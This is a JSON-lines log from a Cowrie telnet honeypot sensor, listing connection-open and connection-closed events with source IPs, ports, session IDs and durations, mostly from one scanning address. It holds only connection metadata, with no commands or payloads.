{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44250,"dst_ip":"159.203.135.109","dst_port":23,"session":"35f2d27ea9ac","protocol":"telnet","message":"New connection: 162.55.233.176:44250 (159.203.135.109:23) [session: 35f2d27ea9ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:45.339022Z"}
{"eventid":"cowrie.session.closed","duration":31.005200624465942,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:45.611811Z","src_ip":"162.55.233.176","session":"559f3e3736d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44258,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89239aabc74","protocol":"telnet","message":"New connection: 162.55.233.176:44258 (159.203.135.109:23) [session: f89239aabc74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:45.799323Z"}
{"eventid":"cowrie.session.closed","duration":35.107495069503784,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:45.884608Z","src_ip":"162.55.233.176","session":"db083a31cab8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.267099380493164,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:46.172225Z","src_ip":"162.55.233.176","session":"19de56132a8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44264,"dst_ip":"159.203.135.109","dst_port":23,"session":"d2d9c78115e6","protocol":"telnet","message":"New connection: 162.55.233.176:44264 (159.203.135.109:23) [session: d2d9c78115e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:46.962804Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44280,"dst_ip":"159.203.135.109","dst_port":23,"session":"dec661d3b09f","protocol":"telnet","message":"New connection: 162.55.233.176:44280 (159.203.135.109:23) [session: dec661d3b09f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.089991Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"a2f6e99db0ce","protocol":"telnet","message":"New connection: 188.208.141.113:60474 (10.17.0.5:23) [session: a2f6e99db0ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.330730Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44286,"dst_ip":"159.203.135.109","dst_port":23,"session":"e2de0b7bd9c2","protocol":"telnet","message":"New connection: 162.55.233.176:44286 (159.203.135.109:23) [session: e2de0b7bd9c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.625507Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44300,"dst_ip":"159.203.135.109","dst_port":23,"session":"3caee0ec8998","protocol":"telnet","message":"New connection: 162.55.233.176:44300 (159.203.135.109:23) [session: 3caee0ec8998]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.749161Z"}
{"eventid":"cowrie.session.closed","duration":42.796059370040894,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.851723Z","src_ip":"206.189.32.23","session":"b24ff1a7e38f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.4973521232605,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.915138Z","src_ip":"162.55.233.176","session":"e395b5bc232f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.85730743408203,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:47.949434Z","src_ip":"206.189.32.23","session":"fc873af24393","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44314,"dst_ip":"159.203.135.109","dst_port":23,"session":"87da62330bc7","protocol":"telnet","message":"New connection: 162.55.233.176:44314 (159.203.135.109:23) [session: 87da62330bc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:48.170430Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"feaa9fb2364d","protocol":"telnet","message":"New connection: 162.55.233.176:44330 (159.203.135.109:23) [session: feaa9fb2364d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:48.259010Z"}
{"eventid":"cowrie.session.closed","duration":37.649513244628906,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:48.762362Z","src_ip":"162.55.233.176","session":"4fcea43f0691","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.22366166114807,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:49.040777Z","src_ip":"206.189.32.23","session":"1e275ab2203b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44346,"dst_ip":"159.203.135.109","dst_port":23,"session":"8d5431257d1d","protocol":"telnet","message":"New connection: 162.55.233.176:44346 (159.203.135.109:23) [session: 8d5431257d1d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:49.464355Z"}
{"eventid":"cowrie.session.closed","duration":36.74930000305176,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:49.575912Z","src_ip":"162.55.233.176","session":"23c579d0e191","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.05621862411499,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:49.593681Z","src_ip":"162.55.233.176","session":"7b318ded5ef6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.31752872467041,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:50.412398Z","src_ip":"162.55.233.176","session":"3fd87c00dce7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.280477523803711,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:50.450821Z","src_ip":"162.55.233.176","session":"87da62330bc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.96612477302551,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:50.472055Z","src_ip":"162.55.233.176","session":"08c17ee80acf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.253201007843018,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:50.635032Z","src_ip":"162.55.233.176","session":"0625cf5fc981","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.42547941207886,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:50.680321Z","src_ip":"162.55.233.176","session":"f644a0c3b958","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44356,"dst_ip":"159.203.135.109","dst_port":23,"session":"7529dd77932c","protocol":"telnet","message":"New connection: 162.55.233.176:44356 (159.203.135.109:23) [session: 7529dd77932c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:51.325141Z"}
{"eventid":"cowrie.session.closed","duration":30.974412441253662,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:51.495667Z","src_ip":"162.55.233.176","session":"df49a695746d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44366,"dst_ip":"159.203.135.109","dst_port":23,"session":"df9622390e6e","protocol":"telnet","message":"New connection: 162.55.233.176:44366 (159.203.135.109:23) [session: df9622390e6e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:51.558523Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44372,"dst_ip":"159.203.135.109","dst_port":23,"session":"03e124dde957","protocol":"telnet","message":"New connection: 162.55.233.176:44372 (159.203.135.109:23) [session: 03e124dde957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:51.768524Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44380,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f2e7eb261ab","protocol":"telnet","message":"New connection: 162.55.233.176:44380 (159.203.135.109:23) [session: 1f2e7eb261ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:51.835984Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":44388,"dst_ip":"159.203.135.109","dst_port":23,"session":"f82f145b1f9f","protocol":"telnet","message":"New connection: 162.55.233.176:44388 (159.203.135.109:23) [session: f82f145b1f9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:52.251907Z"}
{"eventid":"cowrie.session.closed","duration":30.99834108352661,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:52.810285Z","src_ip":"162.55.233.176","session":"30a31fa0d803","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.893513202667236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.012097Z","src_ip":"162.55.233.176","session":"5d5caeb7b01d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55696,"dst_ip":"159.203.135.109","dst_port":23,"session":"1d3a9c74673a","protocol":"telnet","message":"New connection: 162.55.233.176:55696 (159.203.135.109:23) [session: 1d3a9c74673a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.026749Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55698,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b9ddce482fa","protocol":"telnet","message":"New connection: 162.55.233.176:55698 (159.203.135.109:23) [session: 8b9ddce482fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.092694Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55710,"dst_ip":"159.203.135.109","dst_port":23,"session":"f195e72bfad4","protocol":"telnet","message":"New connection: 162.55.233.176:55710 (159.203.135.109:23) [session: f195e72bfad4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.364442Z"}
{"eventid":"cowrie.session.closed","duration":33.13892126083374,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.581703Z","src_ip":"162.55.233.176","session":"ca6ae8ebdebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.013410091400146,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.653008Z","src_ip":"162.55.233.176","session":"4a908fcdf151","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55716,"dst_ip":"159.203.135.109","dst_port":23,"session":"3825f581b2b5","protocol":"telnet","message":"New connection: 162.55.233.176:55716 (159.203.135.109:23) [session: 3825f581b2b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.818493Z"}
{"eventid":"cowrie.session.closed","duration":32.40661096572876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.933432Z","src_ip":"162.55.233.176","session":"394ffeeea5ee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60562,"dst_ip":"10.17.0.5","dst_port":23,"session":"a5b620030e5e","protocol":"telnet","message":"New connection: 188.208.141.113:60562 (10.17.0.5:23) [session: a5b620030e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:53.953565Z"}
{"eventid":"cowrie.session.closed","duration":30.772406101226807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:54.697536Z","src_ip":"162.55.233.176","session":"a3c0247ca1f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":42.129006147384644,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:55.373503Z","src_ip":"162.55.233.176","session":"f8e6585acde1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55726,"dst_ip":"159.203.135.109","dst_port":23,"session":"7669b1fbfdc1","protocol":"telnet","message":"New connection: 162.55.233.176:55726 (159.203.135.109:23) [session: 7669b1fbfdc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:55.441567Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55734,"dst_ip":"159.203.135.109","dst_port":23,"session":"708fe4c2fb6c","protocol":"telnet","message":"New connection: 162.55.233.176:55734 (159.203.135.109:23) [session: 708fe4c2fb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:55.912257Z"}
{"eventid":"cowrie.session.closed","duration":34.18148398399353,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:55.917640Z","src_ip":"162.55.233.176","session":"44aacb704ebe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.32698655128479,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:56.581185Z","src_ip":"162.55.233.176","session":"cc5b620bed73","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":44682,"dst_ip":"10.17.0.5","dst_port":23,"session":"53c44d9db7d1","protocol":"telnet","message":"New connection: 206.189.32.23:44682 (10.17.0.5:23) [session: 53c44d9db7d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:56.753619Z"}
{"eventid":"cowrie.session.closed","duration":45.70016050338745,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:56.848337Z","src_ip":"162.55.233.176","session":"1d8ca10ae13c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55758,"dst_ip":"159.203.135.109","dst_port":23,"session":"f34c0379592d","protocol":"telnet","message":"New connection: 162.55.233.176:55758 (159.203.135.109:23) [session: f34c0379592d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:57.472769Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55750,"dst_ip":"159.203.135.109","dst_port":23,"session":"a6c052a12fcd","protocol":"telnet","message":"New connection: 162.55.233.176:55750 (159.203.135.109:23) [session: a6c052a12fcd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:57.624452Z"}
{"eventid":"cowrie.session.closed","duration":33.501590728759766,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:57.880672Z","src_ip":"162.55.233.176","session":"57a196f7a3cc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.76557660102844,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:57.888271Z","src_ip":"162.55.233.176","session":"4c7ce44c0c20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.76490807533264,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:57.947644Z","src_ip":"162.55.233.176","session":"0c243140caa0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.60526466369629,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.001958Z","src_ip":"162.55.233.176","session":"45441c9688a8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55772,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a4d07470b55","protocol":"telnet","message":"New connection: 162.55.233.176:55772 (159.203.135.109:23) [session: 7a4d07470b55]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.078937Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55788,"dst_ip":"159.203.135.109","dst_port":23,"session":"62338d53b039","protocol":"telnet","message":"New connection: 162.55.233.176:55788 (159.203.135.109:23) [session: 62338d53b039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.328269Z"}
{"eventid":"cowrie.session.closed","duration":31.266898155212402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.485314Z","src_ip":"162.55.233.176","session":"1a68f96ed9ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":60572,"dst_ip":"10.17.0.5","dst_port":23,"session":"5597983fd9c5","protocol":"telnet","message":"New connection: 188.208.141.113:60572 (10.17.0.5:23) [session: 5597983fd9c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.550358Z"}
{"eventid":"cowrie.session.closed","duration":34.412840604782104,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.767285Z","src_ip":"162.55.233.176","session":"c3b5c2d2cc1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.911176443099976,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:58.798355Z","src_ip":"162.55.233.176","session":"a898015f3177","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55798,"dst_ip":"159.203.135.109","dst_port":23,"session":"45128b64c2af","protocol":"telnet","message":"New connection: 162.55.233.176:55798 (159.203.135.109:23) [session: 45128b64c2af]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:59.158586Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"0b877c674e4e","protocol":"telnet","message":"New connection: 162.55.233.176:55806 (159.203.135.109:23) [session: 0b877c674e4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:59.206908Z"}
{"eventid":"cowrie.session.closed","duration":32.19608497619629,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:59.360836Z","src_ip":"162.55.233.176","session":"27583db8ea7f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.963945627212524,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:08:59.510037Z","src_ip":"162.55.233.176","session":"d049eb649533","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55812,"dst_ip":"159.203.135.109","dst_port":23,"session":"b63bd015d5fb","protocol":"telnet","message":"New connection: 162.55.233.176:55812 (159.203.135.109:23) [session: b63bd015d5fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:00.258240Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":49812,"dst_ip":"10.17.0.5","dst_port":23,"session":"1543a5b447f2","protocol":"telnet","message":"New connection: 206.189.32.23:49812 (10.17.0.5:23) [session: 1543a5b447f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:00.955601Z"}
{"eventid":"cowrie.session.closed","duration":0.714606761932373,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:00.972721Z","src_ip":"162.55.233.176","session":"b63bd015d5fb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55820,"dst_ip":"159.203.135.109","dst_port":23,"session":"ed054708867d","protocol":"telnet","message":"New connection: 162.55.233.176:55820 (159.203.135.109:23) [session: ed054708867d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:01.042017Z"}
{"eventid":"cowrie.session.connect","src_ip":"206.189.32.23","src_port":52100,"dst_ip":"10.17.0.5","dst_port":23,"session":"692a1f3f0b34","protocol":"telnet","message":"New connection: 206.189.32.23:52100 (10.17.0.5:23) [session: 692a1f3f0b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:01.338315Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55834,"dst_ip":"159.203.135.109","dst_port":23,"session":"9a3c4ab71b34","protocol":"telnet","message":"New connection: 162.55.233.176:55834 (159.203.135.109:23) [session: 9a3c4ab71b34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:01.397376Z"}
{"eventid":"cowrie.session.closed","duration":33.00655460357666,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:01.577986Z","src_ip":"162.55.233.176","session":"21986c5bb6d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":55836,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e00f25c3376","protocol":"telnet","message":"New connection: 162.55.233.176:55836 (159.203.135.109:23) [session: 9e00f25c3376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:01.878533Z"}
{"eventid":"cowrie.session.closed","duration":47.80497217178345,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:02.615526Z","src_ip":"188.208.141.113","session":"7afcb57f8ddb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.1281201839447,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:02.674501Z","src_ip":"162.55.233.176","session":"348a0bb8cf63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.738532543182373,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:02.766667Z","src_ip":"162.55.233.176","session":"25c5a68734c6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.67825150489807,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:03.371903Z","src_ip":"162.55.233.176","session":"0ad6c11aceda","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.10292029380798,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:03.691583Z","src_ip":"206.189.32.23","session":"77d1d8e143b1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51656,"dst_ip":"159.203.135.109","dst_port":23,"session":"01c3dc556fb0","protocol":"telnet","message":"New connection: 162.55.233.176:51656 (159.203.135.109:23) [session: 01c3dc556fb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:04.292632Z"}
{"eventid":"cowrie.session.closed","duration":37.1369526386261,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:04.498490Z","src_ip":"162.55.233.176","session":"03bb1ba61967","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":51658,"dst_ip":"159.203.135.109","dst_port":23,"session":"e710dcce403f","protocol":"telnet","message":"New connection: 162.55.233.176:51658 (159.203.135.109:23) [session: e710dcce403f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:04.684449Z"}
{"eventid":"cowrie.session.closed","duration":32.251001596450806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T01:09:05.156744Z","src_ip":"162.55.233.176","session":"06000536ea31","protocol":"telnet"}
